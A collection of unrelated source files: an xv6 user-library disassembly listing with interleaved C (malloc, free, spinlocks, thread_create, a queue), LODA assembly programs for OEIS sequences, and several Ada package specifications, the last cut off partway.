4f53: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4f5a: 83 45 f0 01 addl $0x1,-0x10(%ebp)
4f5e: 8b 55 0c mov 0xc(%ebp),%edx
4f61: 8b 45 f0 mov -0x10(%ebp),%eax
4f64: 01 d0 add %edx,%eax
4f66: 0f b6 00 movzbl (%eax),%eax
4f69: 84 c0 test %al,%al
4f6b: 0f 85 71 fe ff ff jne 4de2 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
4f71: c9 leave
4f72: c3 ret
4f73: 90 nop
00004f74 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
4f74: 55 push %ebp
4f75: 89 e5 mov %esp,%ebp
4f77: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
4f7a: 8b 45 08 mov 0x8(%ebp),%eax
4f7d: 83 e8 08 sub $0x8,%eax
4f80: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4f83: a1 88 73 00 00 mov 0x7388,%eax
4f88: 89 45 fc mov %eax,-0x4(%ebp)
4f8b: eb 24 jmp 4fb1 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
4f8d: 8b 45 fc mov -0x4(%ebp),%eax
4f90: 8b 00 mov (%eax),%eax
4f92: 3b 45 fc cmp -0x4(%ebp),%eax
4f95: 77 12 ja 4fa9 <free+0x35>
4f97: 8b 45 f8 mov -0x8(%ebp),%eax
4f9a: 3b 45 fc cmp -0x4(%ebp),%eax
4f9d: 77 24 ja 4fc3 <free+0x4f>
4f9f: 8b 45 fc mov -0x4(%ebp),%eax
4fa2: 8b 00 mov (%eax),%eax
4fa4: 3b 45 f8 cmp -0x8(%ebp),%eax
4fa7: 77 1a ja 4fc3 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4fa9: 8b 45 fc mov -0x4(%ebp),%eax
4fac: 8b 00 mov (%eax),%eax
4fae: 89 45 fc mov %eax,-0x4(%ebp)
4fb1: 8b 45 f8 mov -0x8(%ebp),%eax
4fb4: 3b 45 fc cmp -0x4(%ebp),%eax
4fb7: 76 d4 jbe 4f8d <free+0x19>
4fb9: 8b 45 fc mov -0x4(%ebp),%eax
4fbc: 8b 00 mov (%eax),%eax
4fbe: 3b 45 f8 cmp -0x8(%ebp),%eax
4fc1: 76 ca jbe 4f8d <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
4fc3: 8b 45 f8 mov -0x8(%ebp),%eax
4fc6: 8b 40 04 mov 0x4(%eax),%eax
4fc9: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
4fd0: 8b 45 f8 mov -0x8(%ebp),%eax
4fd3: 01 c2 add %eax,%edx
4fd5: 8b 45 fc mov -0x4(%ebp),%eax
4fd8: 8b 00 mov (%eax),%eax
4fda: 39 c2 cmp %eax,%edx
4fdc: 75 24 jne 5002 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
4fde: 8b 45 f8 mov -0x8(%ebp),%eax
4fe1: 8b 50 04 mov 0x4(%eax),%edx
4fe4: 8b 45 fc mov -0x4(%ebp),%eax
4fe7: 8b 00 mov (%eax),%eax
4fe9: 8b 40 04 mov 0x4(%eax),%eax
4fec: 01 c2 add %eax,%edx
4fee: 8b 45 f8 mov -0x8(%ebp),%eax
4ff1: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
4ff4: 8b 45 fc mov -0x4(%ebp),%eax
4ff7: 8b 00 mov (%eax),%eax
4ff9: 8b 10 mov (%eax),%edx
4ffb: 8b 45 f8 mov -0x8(%ebp),%eax
4ffe: 89 10 mov %edx,(%eax)
5000: eb 0a jmp 500c <free+0x98>
} else
bp->s.ptr = p->s.ptr;
5002: 8b 45 fc mov -0x4(%ebp),%eax
5005: 8b 10 mov (%eax),%edx
5007: 8b 45 f8 mov -0x8(%ebp),%eax
500a: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
500c: 8b 45 fc mov -0x4(%ebp),%eax
500f: 8b 40 04 mov 0x4(%eax),%eax
5012: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
5019: 8b 45 fc mov -0x4(%ebp),%eax
501c: 01 d0 add %edx,%eax
501e: 3b 45 f8 cmp -0x8(%ebp),%eax
5021: 75 20 jne 5043 <free+0xcf>
p->s.size += bp->s.size;
5023: 8b 45 fc mov -0x4(%ebp),%eax
5026: 8b 50 04 mov 0x4(%eax),%edx
5029: 8b 45 f8 mov -0x8(%ebp),%eax
502c: 8b 40 04 mov 0x4(%eax),%eax
502f: 01 c2 add %eax,%edx
5031: 8b 45 fc mov -0x4(%ebp),%eax
5034: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
5037: 8b 45 f8 mov -0x8(%ebp),%eax
503a: 8b 10 mov (%eax),%edx
503c: 8b 45 fc mov -0x4(%ebp),%eax
503f: 89 10 mov %edx,(%eax)
5041: eb 08 jmp 504b <free+0xd7>
} else
p->s.ptr = bp;
5043: 8b 45 fc mov -0x4(%ebp),%eax
5046: 8b 55 f8 mov -0x8(%ebp),%edx
5049: 89 10 mov %edx,(%eax)
freep = p;
504b: 8b 45 fc mov -0x4(%ebp),%eax
504e: a3 88 73 00 00 mov %eax,0x7388
}
5053: c9 leave
5054: c3 ret
00005055 <morecore>:
static Header*
morecore(uint nu)
{
5055: 55 push %ebp
5056: 89 e5 mov %esp,%ebp
5058: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
505b: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
5062: 77 07 ja 506b <morecore+0x16>
nu = 4096;
5064: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
506b: 8b 45 08 mov 0x8(%ebp),%eax
506e: c1 e0 03 shl $0x3,%eax
5071: 89 04 24 mov %eax,(%esp)
5074: e8 27 fc ff ff call 4ca0 <sbrk>
5079: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
507c: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
5080: 75 07 jne 5089 <morecore+0x34>
return 0;
5082: b8 00 00 00 00 mov $0x0,%eax
5087: eb 22 jmp 50ab <morecore+0x56>
hp = (Header*)p;
5089: 8b 45 f4 mov -0xc(%ebp),%eax
508c: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
508f: 8b 45 f0 mov -0x10(%ebp),%eax
5092: 8b 55 08 mov 0x8(%ebp),%edx
5095: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
5098: 8b 45 f0 mov -0x10(%ebp),%eax
509b: 83 c0 08 add $0x8,%eax
509e: 89 04 24 mov %eax,(%esp)
50a1: e8 ce fe ff ff call 4f74 <free>
return freep;
50a6: a1 88 73 00 00 mov 0x7388,%eax
}
50ab: c9 leave
50ac: c3 ret
000050ad <malloc>:
void*
malloc(uint nbytes)
{
50ad: 55 push %ebp
50ae: 89 e5 mov %esp,%ebp
50b0: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
50b3: 8b 45 08 mov 0x8(%ebp),%eax
50b6: 83 c0 07 add $0x7,%eax
50b9: c1 e8 03 shr $0x3,%eax
50bc: 83 c0 01 add $0x1,%eax
50bf: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
50c2: a1 88 73 00 00 mov 0x7388,%eax
50c7: 89 45 f0 mov %eax,-0x10(%ebp)
50ca: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
50ce: 75 23 jne 50f3 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
50d0: c7 45 f0 80 73 00 00 movl $0x7380,-0x10(%ebp)
50d7: 8b 45 f0 mov -0x10(%ebp),%eax
50da: a3 88 73 00 00 mov %eax,0x7388
50df: a1 88 73 00 00 mov 0x7388,%eax
50e4: a3 80 73 00 00 mov %eax,0x7380
base.s.size = 0;
50e9: c7 05 84 73 00 00 00 movl $0x0,0x7384
50f0: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
50f3: 8b 45 f0 mov -0x10(%ebp),%eax
50f6: 8b 00 mov (%eax),%eax
50f8: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
50fb: 8b 45 f4 mov -0xc(%ebp),%eax
50fe: 8b 40 04 mov 0x4(%eax),%eax
5101: 3b 45 ec cmp -0x14(%ebp),%eax
5104: 72 4d jb 5153 <malloc+0xa6>
if(p->s.size == nunits)
5106: 8b 45 f4 mov -0xc(%ebp),%eax
5109: 8b 40 04 mov 0x4(%eax),%eax
510c: 3b 45 ec cmp -0x14(%ebp),%eax
510f: 75 0c jne 511d <malloc+0x70>
prevp->s.ptr = p->s.ptr;
5111: 8b 45 f4 mov -0xc(%ebp),%eax
5114: 8b 10 mov (%eax),%edx
5116: 8b 45 f0 mov -0x10(%ebp),%eax
5119: 89 10 mov %edx,(%eax)
511b: eb 26 jmp 5143 <malloc+0x96>
else {
p->s.size -= nunits;
511d: 8b 45 f4 mov -0xc(%ebp),%eax
5120: 8b 40 04 mov 0x4(%eax),%eax
5123: 2b 45 ec sub -0x14(%ebp),%eax
5126: 89 c2 mov %eax,%edx
5128: 8b 45 f4 mov -0xc(%ebp),%eax
512b: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
512e: 8b 45 f4 mov -0xc(%ebp),%eax
5131: 8b 40 04 mov 0x4(%eax),%eax
5134: c1 e0 03 shl $0x3,%eax
5137: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
513a: 8b 45 f4 mov -0xc(%ebp),%eax
513d: 8b 55 ec mov -0x14(%ebp),%edx
5140: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
5143: 8b 45 f0 mov -0x10(%ebp),%eax
5146: a3 88 73 00 00 mov %eax,0x7388
return (void*)(p + 1);
514b: 8b 45 f4 mov -0xc(%ebp),%eax
514e: 83 c0 08 add $0x8,%eax
5151: eb 38 jmp 518b <malloc+0xde>
}
if(p == freep)
5153: a1 88 73 00 00 mov 0x7388,%eax
5158: 39 45 f4 cmp %eax,-0xc(%ebp)
515b: 75 1b jne 5178 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
515d: 8b 45 ec mov -0x14(%ebp),%eax
5160: 89 04 24 mov %eax,(%esp)
5163: e8 ed fe ff ff call 5055 <morecore>
5168: 89 45 f4 mov %eax,-0xc(%ebp)
516b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
516f: 75 07 jne 5178 <malloc+0xcb>
return 0;
5171: b8 00 00 00 00 mov $0x0,%eax
5176: eb 13 jmp 518b <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
5178: 8b 45 f4 mov -0xc(%ebp),%eax
517b: 89 45 f0 mov %eax,-0x10(%ebp)
517e: 8b 45 f4 mov -0xc(%ebp),%eax
5181: 8b 00 mov (%eax),%eax
5183: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
5186: e9 70 ff ff ff jmp 50fb <malloc+0x4e>
}
518b: c9 leave
518c: c3 ret
518d: 66 90 xchg %ax,%ax
518f: 90 nop
00005190 <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
5190: 55 push %ebp
5191: 89 e5 mov %esp,%ebp
5193: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
5196: 8b 55 08 mov 0x8(%ebp),%edx
5199: 8b 45 0c mov 0xc(%ebp),%eax
519c: 8b 4d 08 mov 0x8(%ebp),%ecx
519f: f0 87 02 lock xchg %eax,(%edx)
51a2: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
51a5: 8b 45 fc mov -0x4(%ebp),%eax
}
51a8: c9 leave
51a9: c3 ret
000051aa <lock_init>:
#include "x86.h"
#include "proc.h"
unsigned long rands = 1;
void lock_init(lock_t *lock){
51aa: 55 push %ebp
51ab: 89 e5 mov %esp,%ebp
lock->locked = 0;
51ad: 8b 45 08 mov 0x8(%ebp),%eax
51b0: c7 00 00 00 00 00 movl $0x0,(%eax)
}
51b6: 5d pop %ebp
51b7: c3 ret
000051b8 <lock_acquire>:
void lock_acquire(lock_t *lock){
51b8: 55 push %ebp
51b9: 89 e5 mov %esp,%ebp
51bb: 83 ec 08 sub $0x8,%esp
while(xchg(&lock->locked,1) != 0);
51be: 90 nop
51bf: 8b 45 08 mov 0x8(%ebp),%eax
51c2: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
51c9: 00
51ca: 89 04 24 mov %eax,(%esp)
51cd: e8 be ff ff ff call 5190 <xchg>
51d2: 85 c0 test %eax,%eax
51d4: 75 e9 jne 51bf <lock_acquire+0x7>
}
51d6: c9 leave
51d7: c3 ret
000051d8 <lock_release>:
void lock_release(lock_t *lock){
51d8: 55 push %ebp
51d9: 89 e5 mov %esp,%ebp
51db: 83 ec 08 sub $0x8,%esp
xchg(&lock->locked,0);
51de: 8b 45 08 mov 0x8(%ebp),%eax
51e1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
51e8: 00
51e9: 89 04 24 mov %eax,(%esp)
51ec: e8 9f ff ff ff call 5190 <xchg>
}
51f1: c9 leave
51f2: c3 ret
000051f3 <thread_create>:
void *thread_create(void(*start_routine)(void*), void *arg){
51f3: 55 push %ebp
51f4: 89 e5 mov %esp,%ebp
51f6: 83 ec 28 sub $0x28,%esp
int tid;
void * stack = malloc(2 * 4096);
51f9: c7 04 24 00 20 00 00 movl $0x2000,(%esp)
5200: e8 a8 fe ff ff call 50ad <malloc>
5205: 89 45 f4 mov %eax,-0xc(%ebp)
void *garbage_stack = stack;
5208: 8b 45 f4 mov -0xc(%ebp),%eax
520b: 89 45 f0 mov %eax,-0x10(%ebp)
// printf(1,"start routine addr : %d\n",(uint)start_routine);
if((uint)stack % 4096){
520e: 8b 45 f4 mov -0xc(%ebp),%eax
5211: 25 ff 0f 00 00 and $0xfff,%eax
5216: 85 c0 test %eax,%eax
5218: 74 14 je 522e <thread_create+0x3b>
stack = stack + (4096 - (uint)stack % 4096);
521a: 8b 45 f4 mov -0xc(%ebp),%eax
521d: 25 ff 0f 00 00 and $0xfff,%eax
5222: 89 c2 mov %eax,%edx
5224: b8 00 10 00 00 mov $0x1000,%eax
5229: 29 d0 sub %edx,%eax
522b: 01 45 f4 add %eax,-0xc(%ebp)
}
if (stack == 0){
522e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
5232: 75 1b jne 524f <thread_create+0x5c>
printf(1,"malloc fail \n");
5234: c7 44 24 04 cd 6a 00 movl $0x6acd,0x4(%esp)
523b: 00
523c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
5243: e8 78 fb ff ff call 4dc0 <printf>
return 0;
5248: b8 00 00 00 00 mov $0x0,%eax
524d: eb 6f jmp 52be <thread_create+0xcb>
}
tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg);
524f: 8b 4d 0c mov 0xc(%ebp),%ecx
5252: 8b 55 08 mov 0x8(%ebp),%edx
5255: 8b 45 f4 mov -0xc(%ebp),%eax
5258: 89 4c 24 0c mov %ecx,0xc(%esp)
525c: 89 54 24 08 mov %edx,0x8(%esp)
5260: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp)
5267: 00
5268: 89 04 24 mov %eax,(%esp)
526b: e8 48 fa ff ff call 4cb8 <clone>
5270: 89 45 ec mov %eax,-0x14(%ebp)
if(tid < 0){
5273: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
5277: 79 1b jns 5294 <thread_create+0xa1>
printf(1,"clone fails\n");
5279: c7 44 24 04 db 6a 00 movl $0x6adb,0x4(%esp)
5280: 00
5281: c7 04 24 01 00 00 00 movl $0x1,(%esp)
5288: e8 33 fb ff ff call 4dc0 <printf>
return 0;
528d: b8 00 00 00 00 mov $0x0,%eax
5292: eb 2a jmp 52be <thread_create+0xcb>
}
if(tid > 0){
5294: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
5298: 7e 05 jle 529f <thread_create+0xac>
//store threads on thread table
return garbage_stack;
529a: 8b 45 f0 mov -0x10(%ebp),%eax
529d: eb 1f jmp 52be <thread_create+0xcb>
}
if(tid == 0){
529f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
52a3: 75 14 jne 52b9 <thread_create+0xc6>
printf(1,"tid = 0 return \n");
52a5: c7 44 24 04 e8 6a 00 movl $0x6ae8,0x4(%esp)
52ac: 00
52ad: c7 04 24 01 00 00 00 movl $0x1,(%esp)
52b4: e8 07 fb ff ff call 4dc0 <printf>
}
// wait();
// free(garbage_stack);
return 0;
52b9: b8 00 00 00 00 mov $0x0,%eax
}
52be: c9 leave
52bf: c3 ret
000052c0 <random>:
// generate 0 -> max random number exclude max.
int random(int max){
52c0: 55 push %ebp
52c1: 89 e5 mov %esp,%ebp
rands = rands * 1664525 + 1013904233;
52c3: a1 e4 72 00 00 mov 0x72e4,%eax
52c8: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
52ce: 05 69 f3 6e 3c add $0x3c6ef369,%eax
52d3: a3 e4 72 00 00 mov %eax,0x72e4
return (int)(rands % max);
52d8: a1 e4 72 00 00 mov 0x72e4,%eax
52dd: 8b 4d 08 mov 0x8(%ebp),%ecx
52e0: ba 00 00 00 00 mov $0x0,%edx
52e5: f7 f1 div %ecx
52e7: 89 d0 mov %edx,%eax
}
52e9: 5d pop %ebp
52ea: c3 ret
52eb: 90 nop
000052ec <init_q>:
#include "queue.h"
#include "types.h"
#include "user.h"
void init_q(struct queue *q){
52ec: 55 push %ebp
52ed: 89 e5 mov %esp,%ebp
q->size = 0;
52ef: 8b 45 08 mov 0x8(%ebp),%eax
52f2: c7 00 00 00 00 00 movl $0x0,(%eax)
q->head = 0;
52f8: 8b 45 08 mov 0x8(%ebp),%eax
52fb: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
5302: 8b 45 08 mov 0x8(%ebp),%eax
5305: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
530c: 5d pop %ebp
530d: c3 ret
0000530e <add_q>:
void add_q(struct queue *q, int v){
530e: 55 push %ebp
530f: 89 e5 mov %esp,%ebp
5311: 83 ec 28 sub $0x28,%esp
struct node * n = malloc(sizeof(struct node));
5314: c7 04 24 08 00 00 00 movl $0x8,(%esp)
531b: e8 8d fd ff ff call 50ad <malloc>
5320: 89 45 f4 mov %eax,-0xc(%ebp)
n->next = 0;
5323: 8b 45 f4 mov -0xc(%ebp),%eax
5326: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->value = v;
532d: 8b 45 f4 mov -0xc(%ebp),%eax
5330: 8b 55 0c mov 0xc(%ebp),%edx
5333: 89 10 mov %edx,(%eax)
if(q->head == 0){
5335: 8b 45 08 mov 0x8(%ebp),%eax
5338: 8b 40 04 mov 0x4(%eax),%eax
533b: 85 c0 test %eax,%eax
533d: 75 0b jne 534a <add_q+0x3c>
q->head = n;
533f: 8b 45 08 mov 0x8(%ebp),%eax
5342: 8b 55 f4 mov -0xc(%ebp),%edx
5345: 89 50 04 mov %edx,0x4(%eax)
5348: eb 0c jmp 5356 <add_q+0x48>
}else{
q->tail->next = n;
534a: 8b 45 08 mov 0x8(%ebp),%eax
534d: 8b 40 08 mov 0x8(%eax),%eax
5350: 8b 55 f4 mov -0xc(%ebp),%edx
5353: 89 50 04 mov %edx,0x4(%eax)
}
q->tail = n;
5356: 8b 45 08 mov 0x8(%ebp),%eax
5359: 8b 55 f4 mov -0xc(%ebp),%edx
535c: 89 50 08 mov %edx,0x8(%eax)
q->size++;
535f: 8b 45 08 mov 0x8(%ebp),%eax
5362: 8b 00 mov (%eax),%eax
5364: 8d 50 01 lea 0x1(%eax),%edx
5367: 8b 45 08 mov 0x8(%ebp),%eax
536a: 89 10 mov %edx,(%eax)
}
536c: c9 leave
536d: c3 ret
0000536e <empty_q>:
int empty_q(struct queue *q){
536e: 55 push %ebp
536f: 89 e5 mov %esp,%ebp
if(q->size == 0)
5371: 8b 45 08 mov 0x8(%ebp),%eax
5374: 8b 00 mov (%eax),%eax
5376: 85 c0 test %eax,%eax
5378: 75 07 jne 5381 <empty_q+0x13>
return 1;
537a: b8 01 00 00 00 mov $0x1,%eax
537f: eb 05 jmp 5386 <empty_q+0x18>
else
return 0;
5381: b8 00 00 00 00 mov $0x0,%eax
}
5386: 5d pop %ebp
5387: c3 ret
00005388 <pop_q>:
int pop_q(struct queue *q){
5388: 55 push %ebp
5389: 89 e5 mov %esp,%ebp
538b: 83 ec 28 sub $0x28,%esp
int val;
struct node *destroy;
if(!empty_q(q)){
538e: 8b 45 08 mov 0x8(%ebp),%eax
5391: 89 04 24 mov %eax,(%esp)
5394: e8 d5 ff ff ff call 536e <empty_q>
5399: 85 c0 test %eax,%eax
539b: 75 5d jne 53fa <pop_q+0x72>
val = q->head->value;
539d: 8b 45 08 mov 0x8(%ebp),%eax
53a0: 8b 40 04 mov 0x4(%eax),%eax
53a3: 8b 00 mov (%eax),%eax
53a5: 89 45 f4 mov %eax,-0xc(%ebp)
destroy = q->head;
53a8: 8b 45 08 mov 0x8(%ebp),%eax
53ab: 8b 40 04 mov 0x4(%eax),%eax
53ae: 89 45 f0 mov %eax,-0x10(%ebp)
q->head = q->head->next;
53b1: 8b 45 08 mov 0x8(%ebp),%eax
53b4: 8b 40 04 mov 0x4(%eax),%eax
53b7: 8b 50 04 mov 0x4(%eax),%edx
53ba: 8b 45 08 mov 0x8(%ebp),%eax
53bd: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
53c0: 8b 45 f0 mov -0x10(%ebp),%eax
53c3: 89 04 24 mov %eax,(%esp)
53c6: e8 a9 fb ff ff call 4f74 <free>
q->size--;
53cb: 8b 45 08 mov 0x8(%ebp),%eax
53ce: 8b 00 mov (%eax),%eax
53d0: 8d 50 ff lea -0x1(%eax),%edx
53d3: 8b 45 08 mov 0x8(%ebp),%eax
53d6: 89 10 mov %edx,(%eax)
if(q->size == 0){
53d8: 8b 45 08 mov 0x8(%ebp),%eax
53db: 8b 00 mov (%eax),%eax
53dd: 85 c0 test %eax,%eax
53df: 75 14 jne 53f5 <pop_q+0x6d>
q->head = 0;
53e1: 8b 45 08 mov 0x8(%ebp),%eax
53e4: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
53eb: 8b 45 08 mov 0x8(%ebp),%eax
53ee: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
return val;
53f5: 8b 45 f4 mov -0xc(%ebp),%eax
53f8: eb 05 jmp 53ff <pop_q+0x77>
}
return -1;
53fa: b8 ff ff ff ff mov $0xffffffff,%eax
}
53ff: c9 leave
5400: c3 ret
|
oeis/021/A021726.asm | neoneye/loda-programs | 11 | 95352 | <filename>oeis/021/A021726.asm<gh_stars>10-100
; A021726: Decimal expansion of 1/722.
; Submitted by Jon Maiga
; 0,0,1,3,8,5,0,4,1,5,5,1,2,4,6,5,3,7,3,9,6,1,2,1,8,8,3,6,5,6,5,0,9,6,9,5,2,9,0,8,5,8,7,2,5,7,6,1,7,7,2,8,5,3,1,8,5,5,9,5,5,6,7,8,6,7,0,3,6,0,1,1,0,8,0,3,3,2,4,0,9,9,7,2,2,9,9,1,6,8,9,7,5,0,6,9,2,5,2
seq $0,173833 ; 10^n - 3.
div $0,722
mod $0,10
|
programs/oeis/190/A190540.asm | neoneye/loda | 22 | 243140 | <filename>programs/oeis/190/A190540.asm
; A190540: 7^n - 2^n.
; 0,5,45,335,2385,16775,117585,823415,5764545,40353095,282474225,1977324695,13841283105,96889002215,678223056465,4747561477175,33232930504065,232630513856135,1628413597648305,11398895184848855,79792266296563425,558545864081186855,3909821048578793745,27368747340072527735,191581231380549637185,1341068619663931346375,9387480337647687196785,65712362363534145921815,459986536544739692541345,3219905755813179189966695,22539340290692257014121425,157775382034845804467559095,1104427674243920642010331905,7730993719707444515547159815,54116956037952111651779791665,378818692265664781648357887575,2651730845859653471710303904865,18562115921017574302315724717735,129934811447123020116897267791505,909543680129861140819655264075255,6366805760909027985740335627596225,44567640326363195900187846951312455,311973482284542371301325923775464945
mov $1,7
pow $1,$0
mov $2,2
pow $2,$0
sub $1,$2
mov $0,$1
|
src/ada/src/bytebauble.ads | MayaPosch/ByteBauble | 6 | 23604 | --
-- bytebauble.ads - Specification for the ByteBauble package.
--
-- 2021/03/05, <NAME>
--
with Interfaces;
package ByteBauble is
type BBEndianness is (BB_BE, BB_LE);
subtype uint16 is Interfaces.Unsigned_16;
subtype uint32 is Interfaces.Unsigned_32;
subtype uint64 is Interfaces.Unsigned_64;
--subtype uint128 is Interfaces.Unsigned_128;
function Bswap_16 (X : uint16) return uint16;
pragma Import (Intrinsic, Bswap_16, "__builtin_bswap16");
function Bswap_32 (X : uint32) return uint32;
pragma Import (Intrinsic, Bswap_32, "__builtin_bswap32");
function Bswap_64 (X : uint64) return uint64;
pragma Import (Intrinsic, Bswap_64, "__builtin_bswap64");
-- function Bswap_128 (X : uint128) return uint128;
-- pragma Import (Intrinsic, Bswap_128, "__builtin_bswap128");
procedure detectHostEndian;
function getHostEndian return BBEndianness;
procedure setGlobalEndianness(endian : in BBEndianness);
function toGlobal(value : in uint16; endian : in BBEndianness) return uint16;
function toGlobal(value : in uint32; endian : in BBEndianness) return uint32;
function toGlobal(value : in uint64; endian : in BBEndianness) return uint64;
function toHost(value : in uint16; endian : in BBEndianness) return uint16;
function toHost(value : in uint32; endian : in BBEndianness) return uint32;
function toHost(value : in uint64; endian : in BBEndianness) return uint64;
private
globalEndian : BBEndianness := BB_LE;
hostEndian : BBEndianness := BB_LE;
end ByteBauble;
|
src/jsa-intermediate_backups.ads | sparre/JSA | 1 | 29551 | generic
Fraction : Float;
-- How large a fraction of the execution time should be allocated
-- to creating backups.
with procedure Save_State;
-- Should save the relevant state.
package JSA.Intermediate_Backups is
procedure Begin_Loop
with Pre => not In_Loop;
-- To be called before entering a loop performing
-- heavy/long-running calculations.
--
-- Sets up timers and counters.
procedure End_Of_Iteration
with Pre => In_Loop;
-- To be called at the end of a loop performing heavy/long-running
-- calculations.
--
-- Will call Save_State if it is considered timely.
procedure End_Loop
with Pre => In_Loop;
-- To be called immediately after the end of a loop performing
-- heavy/long-running calculations.
--
-- Will call Save_State if the last execution of End_Of_Iteration
-- didn't.
function In_Loop return Boolean;
end JSA.Intermediate_Backups;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/thin_pointer2_pkg.ads | best08618/asylo | 7 | 22029 | <reponame>best08618/asylo
package Thin_Pointer2_Pkg is
type SA is access String;
for SA'Size use Standard'Address_Size;
S : SA;
function F return Character;
end Thin_Pointer2_Pkg;
|
programs/oeis/194/A194073.asm | neoneye/loda | 22 | 6841 | <reponame>neoneye/loda
; A194073: a(n) = 1 + floor((3/4)*n^2).
; 1,4,7,13,19,28,37,49,61,76,91,109,127,148,169,193,217,244,271,301,331,364,397,433,469,508,547,589,631,676,721,769,817,868,919,973,1027,1084,1141,1201,1261,1324,1387,1453,1519,1588,1657,1729,1801
add $0,1
pow $0,2
div $0,4
mul $0,3
add $0,1
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/vect9.ads | best08618/asylo | 7 | 27355 | <reponame>best08618/asylo
with Vect9_Pkg; use Vect9_Pkg;
package Vect9 is
type Rec is record
Data : Vector_Access;
end record;
procedure Proc
(This : in Rec;
CV : in Unit_Vector;
Data : in out Unit_Vector);
end Vect9;
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/g-dirope.ads | djamal2727/Main-Bearing-Analytical-Model | 0 | 24922 | <gh_stars>0
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T . D I R E C T O R Y _ O P E R A T I O N S --
-- --
-- S p e c --
-- --
-- Copyright (C) 1998-2020, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- Directory operations
-- This package provides routines for manipulating directories. A directory
-- can be treated as a file, using open and close routines, and a scanning
-- routine is provided for iterating through the entries in a directory.
-- See also child package GNAT.Directory_Operations.Iteration
with System;
